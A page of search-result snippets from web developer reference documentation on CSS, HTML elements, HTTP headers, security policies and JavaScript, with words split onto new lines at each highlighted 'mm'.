url() - CSS: Cascading Style Sheets
t: 100vh; } .background { background: yellow; background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specifications specification status co
mment css values and units module level 4the definition of 'url()' in that specification.
... candidate reco
mmendation no significant change from css level 2 (revision 1).
... reco
mmendation no significant change from css level 1.
... reco
mmendation initial definition.
<url> - CSS: Cascading Style Sheets
a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner { background: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status co
mment css values and units module level 4the definition of '<url>' in that specification.
... candidate reco
mmendation no significant change from css level 2 (revision 1).
... reco
mmendation no significant change from css level 1.
... reco
mmendation initial definition.
var() - CSS: Cascading Style Sheets
) note: the syntax of the fallback, like that of custom properties, allows co
mmas.
... for example, var(--foo, red, blue) defines a fallback of red, blue; that is, anything between the first co
mma and the end of the function is considered a fallback value.
...var(--main-bg-color); } /* fallback */ /* in the component’s style: */ .component .header { color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */ } .component .text { color: var(--text-color, black); } /* in the larger application’s style: */ .component { --text-color: #080; } specifications specification status co
mment css custom properties for cascading variables module level 1the definition of 'var()' in that specification.
... candidate reco
mmendation initial definition ...
widows - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; columns: 3; widows: 2; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status co
mment css fragmentation module level 3the definition of 'widows' in that specification.
... candidate reco
mmendation extends widows to apply to any type of fragment, including pages, regions, or columns.
... working draft reco
mmendations to consider widows in relation to columns.
... reco
mmendation initial definition.
width - CSS: Cascading Style Sheets
esrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { background: gold; } <p class="goldie">the mozilla co
mmunity produces a lot of great software.</p> pixels and ems .px_length { width: 200px; background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em; background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in em</div> percentage .percent { width: 20...
...%; background-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen { background: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla co
mmunity produces a lot of great software.</p> min-content p.minblue { background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla co
mmunity produces a lot of great software.</p> specifications specification status co
mment css box sizing module level 4the definition of '...
... reco
mmendation precises on which element it applies to.
... reco
mmendation initial definition.
Getting Started - Developer guides
in a nutshell, it is the use of the xmlhttprequest object to co
mmunicate with servers.
...ajax’s most appealing characteristic is its "asynchronous" nature, which means it can co
mmunicate with the server, exchange data, and update the page without having to refresh the page.
...a co
mmon pitfall is accessing your site by domain.tld, but attempting to call pages with www.domain.tld.
... in the event of a co
mmunication error (such as the server going down), an exception will be thrown in the onreadystatechange method when accessing the response status.
Live streaming web audio and video - Developer guides
live streaming technology is often employed to relay live events such as sports, concerts and more generally tv and radio progra
mmes that are output live.
... http for now, http is by far the most co
mmonly supported protocol used to transfer media on demand or live.
... mp3, aac, ogg vorbis most co
mmon audio formats can be streamed using specific server-side technologies.
...e client dynamic streaming over http the state of mpeg-dash deployment look, no plugins: live streaming to the browser using media source extensions and mpeg-dash media source extensions (w3c) icecast shoutcast gstreamer streaming gstreamer pipelines via http streaming media using gstreamer on the web gstreamer and raspberry pi acceptance of media source extensions as w3c candidate reco
mmendation will accelerate adoption of dash.js comparison of streaming media systems mozilla hacks - streaming media on demand with media source extensions ...
HTML5 - Developer guides
connectivity: allowing you to co
mmunicate with the server in new and innovative ways.
... downloadable html5 guide a quick guide to html5, including the co
mmon html tags as well as the new html5 tags.
... webrtc this technology, where rtc stands for real-time co
mmunication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
... webrtc this technology, where rtc stands for real-time co
mmunication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
Introduction to Web development - Developer guides
note: the reco
mmended resources on this page are subject to change.
... co
mmon css questions — co
mmon questions and answers for beginners intermediate css concepts — grouping, pseudo-classes and more.
... eloquent javascript — a comprehensive guide to intermediate and advanced javascript methodologies intermediate a re-introduction to javascript — a recap on the javascript progra
mming language aimed at intermediate-level developers essential javascript design patterns — an introduction to essential javascript design patterns introduction to object-oriented javascript — learn about the javascript object model.
... resources w3c web education co
mmunity group wiki covers web design, html and html5, css, javascript and accessibility.
HTML attribute: accept - HTML: Hypertext Markup Language
the accept attribute takes as its value a co
mma-separated list of one or more file types, or unique file type specifiers, describing which file types to allow.
... the accept attribute takes as its value a string containing one or more of these unique file type specifiers, separated by co
mmas.
... acceptable file types can be specified with the accept attribute, which takes a co
mma-separated list of allowed file extensions or mime types.
... reco
mmendation ...
HTML attribute: required - HTML: Hypertext Markup Language
for this reason, to improve code maintenance, it is reco
mmened to either include the required attribute in every same-named radio button in the group or none.
... specifications specification status co
mment html living standardthe definition of 'required attribute' in that specification.
... reco
mmendation html 5.1the definition of 'required attribute' in that specification.
... reco
mmendation accessibility concerns provide an indication to users informing them the form control is required.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
gra
mmar considerations in languages with gra
mmatical number (that is, languages where the number of items affects the gra
mmar of a sentence), use the same gra
mmatical number in your title attribute as inside your <abbr> element.
... specifications specification status co
mment html living standardthe definition of '<abbr>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<abbr>' in that specification.
... reco
mmendation ...
<address>: The Contact Address element - HTML: Hypertext Markup Language
permitted parents any element that accepts flow content, but always excluding <address> elements (according to the logical principle of sy
mmetry, if <address> tag, as a parent, can not have nested <address> element, then the same <address> content can not have <address> tag as its parent).
... specifications specification status co
mment html living standardthe definition of '<address>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<address>' in that specification.
... reco
mmendation ...
<area> - HTML: Hypertext Markup Language
in any user agents.) examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html" alt="click to go left"> <area shape="circle" coords="275,75,75" href="right.html" alt="click to go right"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result specifications specification status co
mment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate reco
mmendation added the referrerpolicy attribute.
... reco
mmendation html 4.01 specificationthe definition of '<area>' in that specification.
... reco
mmendation ...
<article>: The Article Contents element - HTML: Hypertext Markup Language
for example, the co
mments of a blog post can be <article> elements nested in the <article> representing the blog post.
... </p> </footer> </article> specifications specification status co
mment html living standardthe definition of '<article>' in that specification.
... reco
mmendation html5the definition of '<article>' in that specification.
... reco
mmendation ...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
in addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that co
mmunicate important information.
... </p> </audio> mdn adding captions and subtitles to html5 video web video text tracks format (webvtt) webaim: captions, transcripts, and audio descriptions mdn understanding wcag, guideline 1.2 explanations understanding success criterion 1.2.1 | w3c understanding wcag 2.0 understanding success criterion 1.2.2 | w3c understanding wcag 2.0 technical su
mmary content categories flow content, phrasing content, embedded content.
... implicit aria role no corresponding role permitted aria roles application dom interface htmlaudioelement specifications specification status co
mment html living standardthe definition of '<audio>' in that specification.
... reco
mmendation ...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
usage notes use the <b> for cases like keywords in a su
mmary, product names in a review, or other spans of text whose typical presentation would be boldfaced (but not including any special importance).
...</p> keywords are displayed with the default style of the <b>element, likely in bold.</b> result specifications specification status co
mment html living standardthe definition of '<b>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<b>' in that specification.
... reco
mmendation ...
<br>: The Line Break element - HTML: Hypertext Markup Language
technical su
mmary content categories flow content, phrasing content.
... implicit aria role no corresponding role permitted aria roles none, presentation dom interface htmlbrelement specifications specification status co
mment html living standardthe definition of '<br>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<br>' in that specification.
... reco
mmendation ...
<caption>: The Table Caption element - HTML: Hypertext Markup Language
tag omission the end tag can be omitted if the element is not i
mmediately followed by ascii whitespace or a co
mment.
... specifications specification status co
mment html living standardthe definition of '<caption>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<caption>' in that specification.
... reco
mmendation ...
<cite>: The Citation element - HTML: Hypertext Markup Language
e> element, a creative work that might be cited could be, for example, one of the following: a book a research paper an essay a poem a musical score a song a play or film script a film a television show a game a sculpture a painting a theatrical production a play an opera a musical an exhibition a legal case report a computer program a web site a web page a blog post or co
mment a forum post or co
mment a tweet a facebook post a written or oral statement and so forth.
... example <p>more information can be found in <cite>[iso-0000]</cite>.</p> the html above outputs: specifications specification status co
mment html living standardthe definition of '<cite>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<cite>' in that specification.
... reco
mmendation ...
<col> - HTML: Hypertext Markup Language
the html <col> element defines a column within a table and is used for defining co
mmon semantics on all co
mmon cells.
... specifications specification status co
mment html living standardthe definition of '<col>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<col>' in that specification.
... reco
mmendation initial definition ...
<colgroup> - HTML: Hypertext Markup Language
the end tag may be omitted, if it is not followed by a space or a co
mment.
... specifications specification status co
mment html living standardthe definition of '<colgroup>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<colgroup>' in that specification.
... reco
mmendation ...
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
the html <datalist> element contains a set of <option> elements that represent the permissible or reco
mmended options available to choose from within other controls.
... implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, co
mmon to all elements.
...<label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status co
mment html living standardthe definition of '<datalist>' in that specification.
... reco
mmendation ...
<dd>: The Description Details element - HTML: Hypertext Markup Language
the end tag may be omitted if the <dd> element is i
mmediately followed by another <dd> element or a <dt> element, or if there is no more content in the parent element.
... specifications specification status co
mment html living standardthe definition of '<dd>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<dd>' in that specification.
... reco
mmendation ...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
<form action="#"> <fieldset disabled> <legend>disabled fieldset</legend> <div> <label for="name">name: </label> <input type="text" id="name" value="chris"> </div> <div> <label for="pwd">archetype: </label> <input type="password" id="pwd" value="wookie"> </div> </fieldset> </form> technical su
mmary content categories flow content, sectioning root, listed, form-associated element, palpable content.
... implicit aria role group permitted aria roles radiogroup, presentation, none dom interface htmlfieldsetelement specifications specification status co
mment html living standardthe definition of '<fieldset>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<fieldset>' in that specification.
... reco
mmendation initial definition ...
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
txt+= "cookies enabled: " + navigator.cookieenabled + "; "; txt+= "platform: " + navigator.platform + "; "; txt+= "user-agent header: " + navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then progra
mming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><c...
...ite>venus and adonis</cite>, by william shakespeare</figcaption> </figure> specifications specification status co
mment html living standardthe definition of '<figure>' in that specification.
... reco
mmendation no changes from html 5.0.
... reco
mmendation ...
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
the end tag may be omitted if the first thing following the <head> element is not a space character or a co
mment.
... specifications specification status co
mment html living standardthe definition of '<head>' in that specification.
... reco
mmendation obsoleted profile html 4.01 specificationthe definition of '<head>' in that specification.
... reco
mmendation ...
<input type="button"> - HTML: Hypertext Markup Language
<input> elements of type button are rendered as simple push buttons, which can be progra
mmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event).
... value a domstring used as the button's label events click supported co
mmon attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a domstring that is used as the button's label.
... } clearbtn.onclick = function() { ctx.fillstyle = 'rgb(0,0,0)'; ctx.fillrect(0,0,width,height); } function draw() { if(pressed) { ctx.fillstyle = colorpicker.value; ctx.beginpath(); ctx.arc(curx, cury-85, sizepicker.value, degtorad(0), degtorad(360), false); ctx.fill(); } requestanimationframe(draw); } draw(); specifications specification status co
mments html living standardthe definition of '<input type="button">' in that specification.
... reco
mmendation ...
<input type="number"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes autocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty.
... you can set a default value for the input by including a number inside the value attribute, like so: <input id="number" type="number" value="42"> additional attributes in addition to the attributes co
mmonly supported by all <input> types, inputs of type number support these attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the maximum value to accept for this input min the minimum value to accept for this input placeholder an example value to display inside the field when it's empty readonly a boolean attribute indicating whether the value is read-only step a stepping interval to use when using up and down arrows ...
...a placeholder is a value most co
mmonly used to provide a hint as to the format the input should take value.
... specifications specification status co
mment html living standardthe definition of '<input type="number">' in that specification.
<input type="text"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange().
...me" name="name" placeholder="lower case, all one word"> </div> <div> <button>submit</button> </div> </form> you can see how the placeholder is rendered below: the placeholder is typically rendered in a lighter color than the element's foreground color, and automatically vanishes when the user begins to enter text into the field (or whenever the field has a value set progra
mmatically by setting its value attribute.
... specifications specification status co
mment html living standardthe definition of '<input type="text">' in that specification.
... reco
mmendation initial definition ...
<input type="week"> - HTML: Hypertext Markup Language
value a domstring representing a week and year, or empty events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
... you can also get and set the value in javascript using the input element's value property, for example: var weekcontrol = document.queryselector('input[type="week"]'); weekcontrol.value = '2017-w45'; additional attributes in addition to the attributes co
mmon to <input> elements, week inputs offer the following attributes: attribute description max the latest year and week to accept as valid input min the earliest year and week to accept as valid input readonly a boolean which, if present, indicates that the user cannot edit the field's contents step the stepping interval (the distance...
...to detect whether the browser supports <input type="week">, we create a new <input> element, try setting its type to week, then i
mmediately check what its type is set to.
... specifications specification status co
mments html living standardthe definition of '<input type="week">' in that specification.
<li> - HTML: Hypertext Markup Language
tag omission the end tag can be omitted if the list item is i
mmediately followed by another <li> element, or if there is no more content in its parent element.
...rdered list <ol> <li>first item</li> <li>second item</li> <li>third item</li> </ol> ordered list with a custom value <ol type="i"> <li value="3">third item</li> <li>fourth item</li> <li>fifth item</li> </ol> unordered list <ul> <li>first item</li> <li>second item</li> <li>third item</li> </ul> specifications specification status co
mment html living standardthe definition of '<li>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<li>' in that specification.
... reco
mmendation the type attribute has been deprecated.
<main> - HTML: Hypertext Markup Language
example <!-- other content --> <main> <h1>apples</h1> <p>the apple is the pomaceous fruit of the apple tree.</p> <article> <h2>red delicious</h2> <p>these bright red apples are the most co
mmon found in many supermarkets.</p> <p>...
... specifications specification status co
mment html living standardthe definition of '<main>' in that specification.
... reco
mmendation no change from html5.
... reco
mmendation initial definition.
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
although most co
mmonly-used browsers support frames, there are exceptions, including certain special-use browsers including some mobile browsers, as well as text-mode browsers.
... <frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status co
mment html5the definition of 'noframes' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<noframes>' in that specification.
... reco
mmendation ...
<optgroup> - HTML: Hypertext Markup Language
the end tag is optional if this element is i
mmediately followed by another <optgroup> element, or if the parent element has no more content.
...group label="group 1"> <option>option 1.1</option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option>option 2.2</option> </optgroup> <optgroup label="group 3" disabled> <option>option 3.1</option> <option>option 3.2</option> <option>option 3.3</option> </optgroup> </select> result specifications specification status co
mment html living standardthe definition of '<optgroup>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<optgroup>' in that specification.
... reco
mmendation ...
<option>: The HTML Option element - HTML: Hypertext Markup Language
the end tag is optional if this element is i
mmediately followed by another <option> element or an <optgroup>, or if the parent element has no more content.
... specifications specification status co
mment html living standardthe definition of '<option>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<option>' in that specification.
... reco
mmendation initial definition ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
the end tag may be omitted if the <p> element is i
mmediately followed by an <address>, <article>, <aside>, <blockquote>, <div>, <dl>, <fieldset>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hr>, <menu>, <nav>, <ol>, <pre>, <section>, <table>, <ul> or another <p> element, or if there is no more content in the parent element and the parent element is not an <a> element.
... if extra space is desired, use css properties like margin to create the effect: p { margin-bottom: 2em; // increase white space after a paragraph } specifications specification status co
mment html living standardthe definition of '<p>' in that specification.
... reco
mmendation align attribute is obsolete html 4.01 specificationthe definition of '<p>' in that specification.
... reco
mmendation initial definition ...
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
tag omission the end tag can be omitted if the element is i
mmediately followed by an <rt>, <rtc>, or <rp> element or another <rb> element, or if there is no more content in the parent element.
... even though <rb> is not an empty element, it is co
mmon to just include the opening tag of each element in the source code, so that the ruby markup is less complex and easier to read.
... specifications specification status co
mment html5the definition of '<rb>' in that specification.
... reco
mmendation ...
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
permitted content text tag omission the end tag can be omitted if the element is i
mmediately followed by an <rt> or another <rp> element, or if there is no more content in the parent element.
...<rp> must be positioned i
mmediately before or after an <rt> element.
... specifications specification status co
mment html living standardthe definition of '<rp>' in that specification.
... reco
mmendation ...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
note also the use of <kbd> to represent the co
mmand the user entered at the prompt in the sample text.
... result the resulting output is this: specifications specification status co
mment html living standardthe definition of '<samp>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<samp>' in that specification.
... reco
mmendation ...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
it is co
mmonly used to offer the same media content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats.
...each source size consists of a co
mma-separated list of media condition-length pairs.
... srcset a list of one or more strings separated by co
mmas indicating a set of possible images represented by the source for the browser to use.
... specifications specification status co
mment html living standardthe definition of '<source>' in that specification.
<style>: The Style Information element - HTML: Hypertext Markup Language
<!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical su
mmary content categories metadata content, and if the scoped attribute is present: flow content.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlstyleelement specifications specification status co
mment html living standardthe definition of 'style' in that specification.
... reco
mmendation the type attribute becomes optional.
... reco
mmendation ...
<title>: The Document Title element - HTML: Hypertext Markup Language
a co
mmon navigation technique for users of assistive technology is to read the page title and infer the content the page contains.
... example <title>2 errors - your order - blue house chinese food - foodyum: online takeout today!</title> mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.2 | w3c understanding wcag 2.0 specifications specification status co
mment html living standardthe definition of '<title>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<title>' in that specification.
... reco
mmendation ...
<var>: The Variable element - HTML: Hypertext Markup Language
the html variable element (<var>) represents the name of a variable in a mathematical expression or a progra
mming context.
... usage notes related elements other elements that are used in contexts in which <var> is co
mmonly used include: <code>: the html code element <kbd>: the html keyboard input element <samp>: the html sample output element if you encounter code that is mistakenly using <var> for style purposes rather than semantic purposes, you should either use a <span> with appropriate css or, an appropriate semantic element among the following: <em> <i> <q> default style most browsers apply...
... result specifications specification status co
mment html living standardthe definition of '<var>' in that specification.
... reco
mmendation ...
class - HTML: Hypertext Markup Language
specifications specification status co
mment html living standardthe definition of 'class' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'class' in that specification.
... reco
mmendation snapshot of html living standard.
... reco
mmendation supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, <style>, and <title>.
contenteditable - HTML: Hypertext Markup Language
specifications specification status co
mment html living standardthe definition of 'contenteditable' in that specification.
... reco
mmendation snapshot of html living standard, no change from html 5.1 html 5.1the definition of 'contenteditable' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'contenteditable' in that specification.
... reco
mmendation snapshot of html living standard, initial definition.
id - HTML: Hypertext Markup Language
specifications specification status co
mment html living standardthe definition of 'id' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'id' in that specification.
... reco
mmendation snapshot of html living standard, now accept '_', '-' and '.' if not at the beginning of the id.
... reco
mmendation supported on all elements but <base>, <head>, <html>, <meta>, <script>, <style>, and <title>.
Cross-Origin Resource Sharing (CORS) - HTTP
what values webkit/safari consider “nonstandard” is not documented, except in the following webkit bugs: require preflight for non-standard cors-safelisted request headers accept, accept-language, and content-language allow co
mmas in accept, accept-language, and content-language request headers for simple cors switch to a blacklist model for restricted accept headers in simple cors requests no other browsers implement these extra restrictions, because they’re not part of the spec.
...like access-control-allow-methods, access-control-allow-headers is a co
mma separated list of acceptable headers.
...developers using cross-site xmlhttprequest capability do not have to set any cross-origin sharing request headers progra
mmatically.
... specifications specification status co
mment fetchthe definition of 'cors' in that specification.
HTTP caching - HTTP
however, co
mmon http caches are typically limited to caching responses to get and may decline other methods.
...co
mmon forms of caching entries are: successful results of a retrieval request: a 200 (ok) response to a get request containing a resource like html documents, images or files.
...as http is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to co
mmunicate an expiration time for the resource.
...to optimize this, good practices reco
mmend to set expiration times as far in the future as possible.
Configuring servers for Ogg media - HTTP
this header provides the duration of the video in seconds (not in hh:
mm:ss format) as a floating-point value.
... don't use http compression for media files one co
mmon way to reduce the load on a web server is to use gzip or deflate compression when serving to a supporting web browser.
...049% ogg overhead video-framerate: 29.983 fps video-width: 640 video-height: 360 vorbis: serialno 0708996688 4531 packets in 167 pages, 27.1 packets/page, 1.408% ogg overhead audio-samplerate: 44100 hz audio-channels: 2 note that you can't simply serve up the reported content-duration line reported by oggz-info, because it's reported in hh:
mm:ss format.
...just parse out the hh,
mm, and ss into numbers, then do (hh*3600)+(
mm*60)+ss to get the value you should report.
Using HTTP cookies - HTTP
while this was legitimate when they were the only way to store data on the client, it is now reco
mmended to use modern storage apis.
...a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yu
mmy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header.
... get /sample_page.html http/2.0 host: www.example.org cookie: yu
mmy_cookie=choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends.
... document.cookie = "yu
mmy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yu
mmy_cookie=choco; tasty_cookie=strawberry" cookies created via javascript cannot include the httponly flag.
Accept-Language - HTTP
(by languages, we mean natural languages, such as english, and not progra
mming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header.
...it is reco
mmended that the server never overrides an explicit decision.
...but, for a better user experience, this is rarely done and more co
mmon way is to ignore the accept-language header in this case.
...the most co
mmon extra information is the country or region variant (like 'en-us' or 'fr-ca') or the type of alphabet to use (like 'sr-latn').
CSP: object-src - HTTP
therefore it is reco
mmended to restrict this fetch-directive (e.g.
...you can also specify data schemas (not reco
mmended).
...lation cases given this csp header: content-security-policy: object-src https://example.com/ the following <object>, <embed>, and <applet> elements are blocked and won't load: <embed src="https://not-example.com/flash"></embed> <object data="https://not-example.com/plugin"></object> <applet archive="https://not-example.com/java"></applet> specifications specification status co
mment content security policy level 3the definition of 'object-src' in that specification.
... reco
mmendation initial definition.
CSP: script-src - HTTP
you can also specify data schemes (not reco
mmended).
...if 'unsafe-eval' isn't specified with the script-src directive, the following methods are blocked and won't have any effect: eval() function() when passing a string literal like to methods like: window.settimeout("alert(\"hello world!\");", 500); window.settimeout window.setinterval window.seti
mmediate window.execscript (ie < 11 only) strict-dynamic the 'strict-dynamic' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script.
... specifications specification status co
mment content security policy level 3the definition of 'script-src' in that specification.
... reco
mmendation initial definition.
Strict-Transport-Security - HTTP
description if a website accepts a connection through http and redirects to https, visitors may initially co
mmunicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com.
...should it be necessary to disable strict transport security, setting the max-age to 0 (over a https connection) will i
mmediately expire the strict-transport-security header, allowing access via http.
...2 years is, however, the reco
mmended goal as a website's final hsts configuration as explained on https://hstspreload.org.
... strict-transport-security: max-age=63072000; includesubdomains; preload specifications specification status co
mment http strict transport security (hsts) ietf rfc initial definition ...
HTTP Public Key Pinning (HPKP) - HTTP
extracting the base64 encoded public key information note: while the example below shows how to set a pin on a server certificate, it is reco
mmended to place the pin on the intermediate certificate of the ca that issued the server certificate, to ease certificates renewals and rotations.
... the following co
mmands will help you extract the base64 encoded information from a key file, a certificate signing request, or a certificate.
...c -in my-ecc-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 openssl req -in my-signing-request.csr -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 openssl x509 -in my-certificate.crt -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 the following co
mmand will extract the base64 encoded information for a website.
...the use of backup certificates and/or pinning the ca certificate is reco
mmended.
Redirections in HTTP - HTTP
when browsers receive a redirect, they i
mmediately load the new url provided in the location header.
...but there are reasons for alternative names for a resource: expanding the reach of your site a co
mmon case is when a site resides at www.example.com, but accessing it from example.com should also work.
...you might also redirect from co
mmon synonyms or frequent typos of your domains.
... configuring redirects in co
mmon servers apache redirects can be set either in the server config file or in the .htaccess of each directory.
HTTP resources and specifications - HTTP
rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale content informational rfc 8246 http i
mmutable responses proposed standard rfc 7235 hypertext transfer protocol (http/1.1): authentication proposed standard rfc 6265 http state management mechanism defines cookies proposed standard draft spec cookie prefixes ietf draft draft spec same-site cookies ietf draft draft spec deprecate modification of 'secure' cooki...
... experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning values from forms: multipart/form-data proposed standard rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) proposed standard rfc 2183 co
mmunicating presentation information in internet messages: the content-disposition header field only a subset of syntax of the content-disposition header can be used in the context of http messages.
... cross-origin resource sharing living standard rfc 7034 http header field x-frame-options informational rfc 6797 http strict transport security (hsts) proposed standard upgrade insecure requests upgrade insecure requests candidate reco
mmendation content security policy 1.0 content security policy 1.0 csp 1.1 and csp 3.0 doesn't extend the http standard obsolete microsoft document specifying legacy document modes* defines x-ua-compatible note rfc 5689 http extensions for web distributed authoring and versioning (webdav) these extensions of the web, as well as carddav and caldav...
...hyper text coffee pot control protocol (htcpcp/1.0) april 1st joke spec rfc 7168 the hyper text coffee pot control protocol for tea efflux appliances (htcpcp-tea) april 1st joke spec html living standard html defines extensions of http for server-sent events living standard tracking preference expression dnt header editor's draft / candidate reco
mmendation reporting api report-to header draft draft spec expect-ct extension for http ietf draft ...
Functions - JavaScript
a list of parameters to the function, enclosed in parentheses and separated by co
mmas.
...a closure is an expression (most co
mmonly, a function) that can have free variables together with an environment that binds those variables (that "closes" the expression).
... to su
mmarize: the inner function can be accessed only from statements in the outer function.
...this proved to be less than ideal with an object-oriented style of progra
mming.
Iterators and generators - JavaScript
« previousnext » processing each of the items in a collection is a very co
mmon operation.
... the most co
mmon iterator in javascript is the array iterator, which simply returns each value in the associated array in sequence.
... generator functions while custom iterators are a useful tool, their creation requires careful progra
mming due to the need to explicitly maintain their internal state.
...it is up to the progra
mmer to know which is the case.
Working with objects - JavaScript
objects overview objects in javascript, just as in many other progra
